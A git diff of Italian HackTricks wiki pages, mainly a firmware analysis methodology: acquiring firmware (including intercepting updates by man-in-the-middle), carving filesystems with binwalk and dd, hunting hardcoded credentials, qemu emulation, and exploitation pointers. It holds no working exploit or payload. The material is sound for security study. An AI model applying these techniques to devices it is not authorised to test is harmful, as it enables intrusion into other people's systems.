| ↑↓ (Freccia su, Freccia giù) | Tocca contemporaneamente l'elemento selezionato | | ↑↓ (Freccia su, Freccia giù) | Tocca contemporaneamente l'elemento selezionato |
@ -267,23 +269,23 @@ Queste scorciatoie sono per le impostazioni visive e sonore, a seconda dell'uso
| Scorciatoia | Azione | | Scorciatoia | Azione |
| ------------------------ | ------------------------------------------------ | | ------------------------ | ------------------------------------------------ |
| ⌘L (Command-L) | Apri posizione | | ⌘L (Command-L) | Apri posizione |
| ⌘T | Apri una nuova scheda | | ⌘T | Apri una nuova scheda |
| ⌘W | Chiudi la scheda corrente | | ⌘W | Chiudi la scheda corrente |
| ⌘R | Aggiorna la scheda corrente | | ⌘R | Aggiorna la scheda corrente |
| ⌘. | Interrompi il caricamento della scheda corrente | | ⌘. | Interrompi il caricamento della scheda corrente |
| ^⇥ | Passa alla scheda successiva | | ^⇥ | Passa alla scheda successiva |
| ^⇧⇥ (Control-Shift-Tab) | Passa alla scheda precedente | | ^⇧⇥ (Control-Shift-Tab) | Passa alla scheda precedente |
| ⌘L | Seleziona l'input di testo/campo URL per modificarlo | | ⌘L | Seleziona l'input di testo/campo URL per modificarlo |
| ⌘⇧T (Command-Shift-T) | Apre l'ultima scheda chiusa (può essere utilizzato più volte) | | ⌘⇧T (Command-Shift-T) | Apre l'ultima scheda chiusa (può essere utilizzato più volte) |
| ⌘\[ | Torna indietro di una pagina nella cronologia di navigazione | | ⌘\[ | Torna indietro di una pagina nella cronologia di navigazione |
| ⌘] | Vai avanti di una pagina nella cronologia di navigazione | | ⌘] | Vai avanti di una pagina nella cronologia di navigazione |
| ⌘⇧R | Attiva la modalità Lettore | | ⌘⇧R | Attiva la modalità Lettore |
#### Scorciatoie Mail #### Scorciatoie Mail
| Scorciatoia | Azione | | Scorciatoia | Azione |
| ------------------------- | ---------------------------- | | -------------------------- | ---------------------------- |
| ⌘L | Apri posizione | | ⌘L | Apri posizione |
| ⌘T | Apri una nuova scheda | | ⌘T | Apri una nuova scheda |
| ⌘W | Chiudi la scheda corrente | | ⌘W | Chiudi la scheda corrente |
@ -310,16 +312,17 @@ Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Supporta HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

View file

@ -1,37 +1,38 @@
# Firmware Analysis # Analisi del Firmware
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## **Introduzione** ## **Introduzione**
Il firmware è un software essenziale che consente ai dispositivi di funzionare correttamente gestendo e facilitando la comunicazione tra i componenti hardware e il software con cui gli utenti interagiscono. È memorizzato in memoria permanente, garantendo che il dispositivo possa accedere alle istruzioni vitali dal momento in cui viene acceso, portando al lancio del sistema operativo. Esaminare e potenzialmente modificare il firmware è un passaggio critico per identificare vulnerabilità di sicurezza. Il firmware è un software essenziale che consente ai dispositivi di funzionare correttamente gestendo e facilitando la comunicazione tra i componenti hardware e il software con cui gli utenti interagiscono. È memorizzato in memoria permanente, garantendo che il dispositivo possa accedere istruzioni vitali dal momento in cui viene acceso, portando al lancio del sistema operativo. Esaminare e potenzialmente modificare il firmware è un passo critico per identificare vulnerabilità di sicurezza.
## **Raccolta di informazioni** ## **Raccolta di Informazioni**
La **raccolta di informazioni** è un passaggio iniziale fondamentale per comprendere la composizione di un dispositivo e le tecnologie che utilizza. Questo processo prevede la raccolta di dati su: La **raccolta di informazioni** è un passo iniziale critico per comprendere la composizione di un dispositivo e le tecnologie che utilizza. Questo processo coinvolge la raccolta di dati su:
* L'architettura della CPU e il sistema operativo che esegue * L'architettura della CPU e il sistema operativo che esegue
* Specifiche del bootloader * Specifiche del bootloader
* Layout hardware e datasheet * Layout hardware e datasheet
* Metriche del codice sorgente e posizioni delle origini * Metriche del codice sorgente e posizioni
* Librerie esterne e tipi di licenza * Librerie esterne e tipi di licenza
* Storico degli aggiornamenti e certificazioni regolamentari * Storico degli aggiornamenti e certificazioni regolamentari
* Diagrammi architettonici e di flusso * Diagrammi architetturali e di flusso
* Valutazioni di sicurezza e vulnerabilità identificate * Valutazioni della sicurezza e vulnerabilità identificate
A tale scopo, gli strumenti di **open-source intelligence (OSINT)** sono preziosi, così come l'analisi di eventuali componenti software open-source disponibili attraverso processi di revisione manuali e automatizzati. Strumenti come [Coverity Scan](https://scan.coverity.com) e [Semmles LGTM](https://lgtm.com/#explore) offrono analisi statica gratuita che può essere sfruttata per individuare potenziali problemi. A tale scopo, gli strumenti di **intelligence open-source (OSINT)** sono preziosi, così come l'analisi di eventuali componenti software open-source disponibili attraverso processi di revisione manuali e automatizzati. Strumenti come [Coverity Scan](https://scan.coverity.com) e [LGTM di Semmle](https://lgtm.com/#explore) offrono analisi statica gratuita che può essere sfruttata per individuare potenziali problemi.
## **Acquisizione del Firmware** ## **Acquisizione del Firmware**
@ -41,18 +42,17 @@ L'ottenimento del firmware può essere affrontato attraverso vari mezzi, ognuno
* **Costruendolo** seguendo le istruzioni fornite * **Costruendolo** seguendo le istruzioni fornite
* **Scaricandolo** dai siti di supporto ufficiali * **Scaricandolo** dai siti di supporto ufficiali
* Utilizzando **query Google dork** per trovare file firmware ospitati * Utilizzando **query Google dork** per trovare file firmware ospitati
* Accedendo **direttamente allo storage cloud**, con strumenti come [S3Scanner](https://github.com/sa7mon/S3Scanner) * Accedendo direttamente allo **storage cloud**, con strumenti come [S3Scanner](https://github.com/sa7mon/S3Scanner)
* Interferendo con **aggiornamenti** tramite tecniche man-in-the-middle * Intercettando **aggiornamenti** tramite tecniche di man-in-the-middle
* **Estrazione** dal dispositivo tramite connessioni come **UART**, **JTAG** o **PICit** * **Estrazione** dal dispositivo tramite connessioni come **UART**, **JTAG**, o **PICit**
* **Sniffing** delle richieste di aggiornamento all'interno della comunicazione del dispositivo * **Sniffing** per le richieste di aggiornamento all'interno della comunicazione del dispositivo
* Identificazione e utilizzo di **punti di aggiornamento codificati** * Identificare e utilizzare **punti finali di aggiornamento codificati**
* **Dumping** dal bootloader o dalla rete * **Dumping** dal bootloader o dalla rete
* **Rimozione e lettura** del chip di archiviazione, quando tutto il resto fallisce, utilizzando strumenti hardware appropriati * **Rimuovendo e leggendo** il chip di memorizzazione, quando tutto il resto fallisce, utilizzando gli strumenti hardware appropriati
## Analisi del firmware ## Analisi del firmware
Ora che **hai il firmware**, devi estrarre informazioni su di esso per sapere come trattarlo. Puoi utilizzare diversi strumenti per questo: Ora che **hai il firmware**, devi estrarre informazioni su di esso per sapere come trattarlo. Diversi strumenti che puoi utilizzare per questo:
```bash ```bash
file <bin> file <bin>
strings -n8 <bin> strings -n8 <bin>
@ -61,8 +61,7 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple fdisk -lu <bin> #lists a drives partition and filesystems if multiple
``` ```
Se non trovi molto con quegli strumenti, controlla l'**entropia** dell'immagine con `binwalk -E <bin>`, se l'entropia è bassa, allora è improbabile che sia criptata. Se l'entropia è alta, è probabile che sia criptata (o compressa in qualche modo).
Se non trovi molto con quegli strumenti, controlla l'**entropia** dell'immagine con `binwalk -E <bin>`. Se l'entropia è bassa, è improbabile che sia criptata. Se l'entropia è alta, è probabile che sia criptata (o compressa in qualche modo).
Inoltre, puoi utilizzare questi strumenti per estrarre **file incorporati nel firmware**: Inoltre, puoi utilizzare questi strumenti per estrarre **file incorporati nel firmware**:
@ -72,15 +71,14 @@ Inoltre, puoi utilizzare questi strumenti per estrarre **file incorporati nel fi
Oppure [**binvis.io**](https://binvis.io/#/) ([codice](https://code.google.com/archive/p/binvis/)) per ispezionare il file. Oppure [**binvis.io**](https://binvis.io/#/) ([codice](https://code.google.com/archive/p/binvis/)) per ispezionare il file.
### Ottenere il Filesystem ### Ottenere il File System
Con gli strumenti precedentemente menzionati come `binwalk -ev <bin>`, dovresti essere in grado di **estrarre il filesystem**.\ Con gli strumenti precedentemente commentati come `binwalk -ev <bin>` dovresti essere in grado di **estrarre il filesystem**.\
Di solito, Binwalk lo estrae all'interno di una **cartella con il nome del tipo di filesystem**, che di solito è uno tra i seguenti: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs. Di solito, Binwalk lo estrae all'interno di una **cartella denominata come il tipo di filesystem**, che di solito è uno tra i seguenti: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
#### Estrazione Manuale del Filesystem #### Estrazione Manuale del File System
A volte, binwalk **non ha il byte magico del filesystem nelle sue firme**. In questi casi, utilizza binwalk per **trovare l'offset del filesystem e intagliare il filesystem compresso** dal binario ed **estrarre manualmente** il filesystem in base al suo tipo utilizzando i seguenti passaggi.
A volte, binwalk **non avrà il byte magico del filesystem nelle sue firme**. In questi casi, utilizza binwalk per **trovare l'offset del filesystem e intagliare il filesystem compresso** dal binario ed **estrarre manualmente** il filesystem in base al suo tipo seguendo i passaggi seguenti.
``` ```
$ binwalk DIR850L_REVB.bin $ binwalk DIR850L_REVB.bin
@ -92,9 +90,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes 1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41 1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
``` ```
Esegui il seguente **comando dd** intagliando il filesystem Squashfs.
Esegui il seguente **comando dd** per estrarre il filesystem Squashfs.
``` ```
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
@ -104,7 +100,6 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s 8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
``` ```
In alternativa, potrebbe essere eseguito anche il seguente comando. In alternativa, potrebbe essere eseguito anche il seguente comando.
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs` `$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
@ -129,14 +124,13 @@ I file saranno nella directory "`squashfs-root`" successivamente.
`$ ubidump.py <bin>` `$ ubidump.py <bin>`
## Analisi del firmware ## Analisi del Firmware
Una volta ottenuto il firmware, è essenziale analizzarlo per comprendere la sua struttura e le potenziali vulnerabilità. Questo processo prevede l'utilizzo di vari strumenti per analizzare ed estrarre dati preziosi dall'immagine del firmware. Una volta ottenuto il firmware, è essenziale dissezionarlo per comprendere la sua struttura e le potenziali vulnerabilità. Questo processo coinvolge l'utilizzo di vari strumenti per analizzare ed estrarre dati preziosi dall'immagine del firmware.
### Strumenti di analisi iniziale ### Strumenti di Analisi Iniziale
Viene fornito un insieme di comandi per l'ispezione iniziale del file binario (denominato `<bin>`). Questi comandi aiutano a identificare i tipi di file, estrarre stringhe, analizzare dati binari e comprendere i dettagli delle partizioni e dei filesystem:
Viene fornito un insieme di comandi per l'ispezione iniziale del file binario (indicato come `<bin>`). Questi comandi aiutano nell'identificare i tipi di file, estrarre stringhe, analizzare dati binari e comprendere i dettagli delle partizioni e dei filesystem:
```bash ```bash
file <bin> file <bin>
strings -n8 <bin> strings -n8 <bin>
@ -145,99 +139,88 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head #useful for finding signatures in the header hexdump -C <bin> | head #useful for finding signatures in the header
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
``` ```
Per valutare lo stato di crittografia dell'immagine, l'**entropia** viene verificata con `binwalk -E <bin>`. Un'entropia bassa suggerisce una mancanza di crittografia, mentre un'entropia alta indica una possibile crittografia o compressione.
Per valutare lo stato di crittografia dell'immagine, viene controllata l'**entropia** con `binwalk -E <bin>`. Un'entropia bassa suggerisce una mancanza di crittografia, mentre un'entropia alta indica una possibile crittografia o compressione. Per estrarre **file incorporati**, sono consigliati strumenti e risorse come la documentazione di **file-data-carving-recovery-tools** e **binvis.io** per l'ispezione dei file.
Per estrarre i **file incorporati**, si consiglia di utilizzare strumenti e risorse come la documentazione di **file-data-carving-recovery-tools** e **binvis.io** per l'ispezione dei file. ### Estrazione del File System
### Estrazione del Filesystem
Utilizzando `binwalk -ev <bin>`, di solito è possibile estrarre il filesystem, spesso in una directory con il nome del tipo di filesystem (ad esempio, squashfs, ubifs). Tuttavia, quando **binwalk** non riesce a riconoscere il tipo di filesystem a causa della mancanza di magic bytes, è necessaria un'estrazione manuale. Ciò comporta l'utilizzo di `binwalk` per individuare l'offset del filesystem, seguito dal comando `dd` per estrarre il filesystem:
Utilizzando `binwalk -ev <bin>`, di solito è possibile estrarre il file system, spesso in una directory denominata come il tipo di file system (ad esempio, squashfs, ubifs). Tuttavia, quando **binwalk** non riesce a riconoscere il tipo di file system a causa della mancanza di byte magici, è necessaria un'estrazione manuale. Ciò comporta l'utilizzo di `binwalk` per individuare l'offset del file system, seguito dal comando `dd` per estrarre il file system:
```bash ```bash
$ binwalk DIR850L_REVB.bin $ binwalk DIR850L_REVB.bin
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
``` ```
Successivamente, a seconda del tipo di filesystem (ad esempio, squashfs, cpio, jffs2, ubifs), vengono utilizzati comandi diversi per estrarre manualmente i contenuti.
### Analisi del Filesystem ### Analisi del Filesystem
Una volta estratto il filesystem, inizia la ricerca di vulnerabilità di sicurezza. Si presta attenzione a demoni di rete non sicuri, credenziali codificate, endpoint API, funzionalità del server di aggiornamento, codice non compilato, script di avvio e binari compilati per l'analisi offline. Con il filesystem estratto, inizia la ricerca di difetti di sicurezza. Si presta attenzione ai daemon di rete non sicuri, alle credenziali codificate, agli endpoint API, alle funzionalità del server di aggiornamento, al codice non compilato, agli script di avvio e ai binari compilati per l'analisi offline.
Le **posizioni chiave** e gli **elementi** da ispezionare includono: **Posizioni chiave** e **elementi** da ispezionare includono:
* **etc/shadow** e **etc/passwd** per le credenziali degli utenti - **etc/shadow** e **etc/passwd** per le credenziali utente
* Certificati SSL e chiavi in **etc/ssl** - Certificati SSL e chiavi in **etc/ssl**
* File di configurazione e script per potenziali vulnerabilità - File di configurazione e script per potenziali vulnerabilità
* Binari incorporati per ulteriori analisi - Binari incorporati per ulteriori analisi
* Comuni server web e binari per dispositivi IoT - Comuni server web per dispositivi IoT e binari
Diversi strumenti aiutano a scoprire informazioni sensibili e vulnerabilità all'interno del filesystem: Diversi strumenti aiutano a scoprire informazioni sensibili e vulnerabilità all'interno del filesystem:
* [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) e [**Firmwalker**](https://github.com/craigz28/firmwalker) per la ricerca di informazioni sensibili - [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) e [**Firmwalker**](https://github.com/craigz28/firmwalker) per la ricerca di informazioni sensibili
* [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT\_core) per un'analisi completa del firmware - [**Lo strumento di analisi e confronto del firmware (FACT)**](https://github.com/fkie-cad/FACT\_core) per un'analisi completa del firmware
* [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) e [**EMBA**](https://github.com/e-m-b-a/emba) per l'analisi statica e dinamica - [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) e [**EMBA**](https://github.com/e-m-b-a/emba) per analisi statiche e dinamiche
### Verifiche di sicurezza sui binari compilati ### Controlli di Sicurezza sui Binari Compilati
Sia il codice sorgente che i binari compilati trovati nel filesystem devono essere esaminati per individuare vulnerabilità. Strumenti come **checksec.sh** per i binari Unix e **PESecurity** per i binari Windows aiutano a identificare binari non protetti che potrebbero essere sfruttati. Sia il codice sorgente che i binari compilati trovati nel filesystem devono essere esaminati per individuare vulnerabilità. Strumenti come **checksec.sh** per i binari Unix e **PESecurity** per i binari Windows aiutano a identificare binari non protetti che potrebbero essere sfruttati.
## Emulazione del Firmware per l'Analisi Dinamica ## Emulazione del Firmware per l'Analisi Dinamica
Il processo di emulazione del firmware consente l'**analisi dinamica** del funzionamento di un dispositivo o di un singolo programma. Questo approccio può incontrare sfide legate alle dipendenze hardware o architetturali, ma il trasferimento del filesystem di root o di binari specifici su un dispositivo con architettura e endianness corrispondenti, come un Raspberry Pi, o su una macchina virtuale pre-costruita, può facilitare ulteriori test. Il processo di emulazione del firmware consente l'**analisi dinamica** dell'operazione di un dispositivo o di un singolo programma. Questo approccio può incontrare sfide legate alle dipendenze hardware o architetturali, ma il trasferimento del filesystem radice o di binari specifici su un dispositivo con architettura e endianness corrispondenti, come un Raspberry Pi, o su una macchina virtuale pre-costruita, può facilitare ulteriori test.
### Emulazione di Singoli Binari ### Emulazione di Singoli Binari
Per esaminare singoli programmi, è fondamentale identificare l'endianness e l'architettura della CPU del programma. Per esaminare singoli programmi, è cruciale identificare l'endianness e l'architettura della CPU del programma.
#### Esempio con Architettura MIPS #### Esempio con Architettura MIPS
Per emulare un binario con architettura MIPS, è possibile utilizzare il comando: Per emulare un binario con architettura MIPS, è possibile utilizzare il comando:
```bash ```bash
file ./squashfs-root/bin/busybox file ./squashfs-root/bin/busybox
``` ```
E per installare gli strumenti di emulazione necessari: E per installare gli strumenti di emulazione necessari:
```bash ```bash
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
``` ```
### Emulazione dell'Architettura ARM
Per MIPS (big-endian), viene utilizzato `qemu-mips`, mentre per i binari little-endian, la scelta ricade su `qemu-mipsel`.
#### Emulazione dell'architettura ARM
Per i binari ARM, il processo è simile, con l'emulatore `qemu-arm` utilizzato per l'emulazione. Per i binari ARM, il processo è simile, con l'emulatore `qemu-arm` utilizzato per l'emulazione.
### Emulazione del sistema completo ### Emulazione del Sistema Completo
Strumenti come [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) e altri, facilitano l'emulazione completa del firmware, automatizzando il processo e aiutando nell'analisi dinamica. Strumenti come [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) e altri facilitano l'emulazione completa del firmware, automatizzando il processo e aiutando nell'analisi dinamica.
## Analisi dinamica nella pratica ## Analisi Dinamica nella Pratica
In questa fase, viene utilizzato un ambiente di dispositivo reale o emulato per l'analisi. È essenziale mantenere l'accesso alla shell del sistema operativo e al filesystem. L'emulazione potrebbe non riprodurre perfettamente le interazioni hardware, rendendo necessari riavvii occasionali dell'emulazione. L'analisi dovrebbe esaminare nuovamente il filesystem, sfruttare le pagine web e i servizi di rete esposti ed esplorare le vulnerabilità del bootloader. I test di integrità del firmware sono fondamentali per identificare potenziali vulnerabilità di backdoor. In questa fase, viene utilizzato un ambiente dispositivo reale o emulato per l'analisi. È essenziale mantenere l'accesso alla shell del sistema operativo e al filesystem. L'emulazione potrebbe non replicare perfettamente le interazioni hardware, rendendo necessari riavvii occasionali dell'emulazione. L'analisi dovrebbe esaminare nuovamente il filesystem, sfruttare le pagine web esposte e i servizi di rete, ed esplorare le vulnerabilità del bootloader. I test di integrità del firmware sono fondamentali per identificare potenziali vulnerabilità backdoor.
## Tecniche di analisi in tempo reale ## Tecniche di Analisi in Esecuzione
L'analisi in tempo reale comporta l'interazione con un processo o un binario nel suo ambiente operativo, utilizzando strumenti come gdb-multiarch, Frida e Ghidra per impostare punti di interruzione e identificare vulnerabilità attraverso fuzzing e altre tecniche. L'analisi in esecuzione coinvolge l'interazione con un processo o un binario nel suo ambiente operativo, utilizzando strumenti come gdb-multiarch, Frida e Ghidra per impostare i punti di interruzione e identificare vulnerabilità attraverso fuzzing e altre tecniche.
## Sfruttamento binario e proof-of-concept ## Sfruttamento Binario e Proof-of-Concept
Lo sviluppo di un PoC per le vulnerabilità identificate richiede una profonda comprensione dell'architettura di destinazione e della programmazione in linguaggi di basso livello. Le protezioni binarie in tempo di esecuzione nei sistemi embedded sono rare, ma quando presenti, potrebbero essere necessarie tecniche come la programmazione orientata al ritorno (ROP). Lo sviluppo di un PoC per le vulnerabilità identificate richiede una profonda comprensione dell'architettura di destinazione e della programmazione in linguaggi di basso livello. Le protezioni di runtime binario nei sistemi embedded sono rare, ma quando presenti, potrebbero essere necessarie tecniche come Return Oriented Programming (ROP).
## Sistemi operativi preparati per l'analisi del firmware ## Sistemi Operativi Preparati per l'Analisi del Firmware
Sistemi operativi come [AttifyOS](https://github.com/adi0x90/attifyos) e [EmbedOS](https://github.com/scriptingxss/EmbedOS) forniscono ambienti preconfigurati per il testing della sicurezza del firmware, dotati degli strumenti necessari. Sistemi operativi come [AttifyOS](https://github.com/adi0x90/attifyos) e [EmbedOS](https://github.com/scriptingxss/EmbedOS) forniscono ambienti preconfigurati per i test di sicurezza del firmware, dotati degli strumenti necessari.
## Sistemi operativi preparati per analizzare il firmware ## Sistemi Operativi Preparati per Analizzare il Firmware
* [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS è una distribuzione progettata per aiutarti a eseguire valutazioni di sicurezza e penetration testing dei dispositivi Internet of Things (IoT). Ti fa risparmiare molto tempo fornendo un ambiente preconfigurato con tutti gli strumenti necessari caricati. * [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS è una distribuzione progettata per aiutarti a eseguire valutazioni di sicurezza e test di penetrazione dei dispositivi Internet of Things (IoT). Ti fa risparmiare molto tempo fornendo un ambiente preconfigurato con tutti gli strumenti necessari caricati.
* [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Sistema operativo per il testing della sicurezza embedded basato su Ubuntu 18.04 pre-caricato con strumenti per il testing della sicurezza del firmware. * [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Sistema operativo per test di sicurezza embedded basato su Ubuntu 18.04 pre-caricato con strumenti di test di sicurezza del firmware.
## Firmware vulnerabili per esercitarsi ## Firmware Vulnerabili per Esercitarsi
Per esercitarsi nella scoperta di vulnerabilità nel firmware, utilizzare i seguenti progetti di firmware vulnerabili come punto di partenza. Per esercitarsi nella scoperta di vulnerabilità nel firmware, utilizzare i seguenti progetti di firmware vulnerabili come punto di partenza.
@ -259,20 +242,6 @@ Per esercitarsi nella scoperta di vulnerabilità nel firmware, utilizzare i segu
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) * [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
* [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904) * [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
## Formazione e certificazione ## Formazione e Certificazione
* [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation) * [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
<details>
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,28 +1,29 @@
# Eludere le restrizioni di Linux # Eludere le restrizioni di Linux
{% hint style="success" %}
Impara e pratica l'Hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
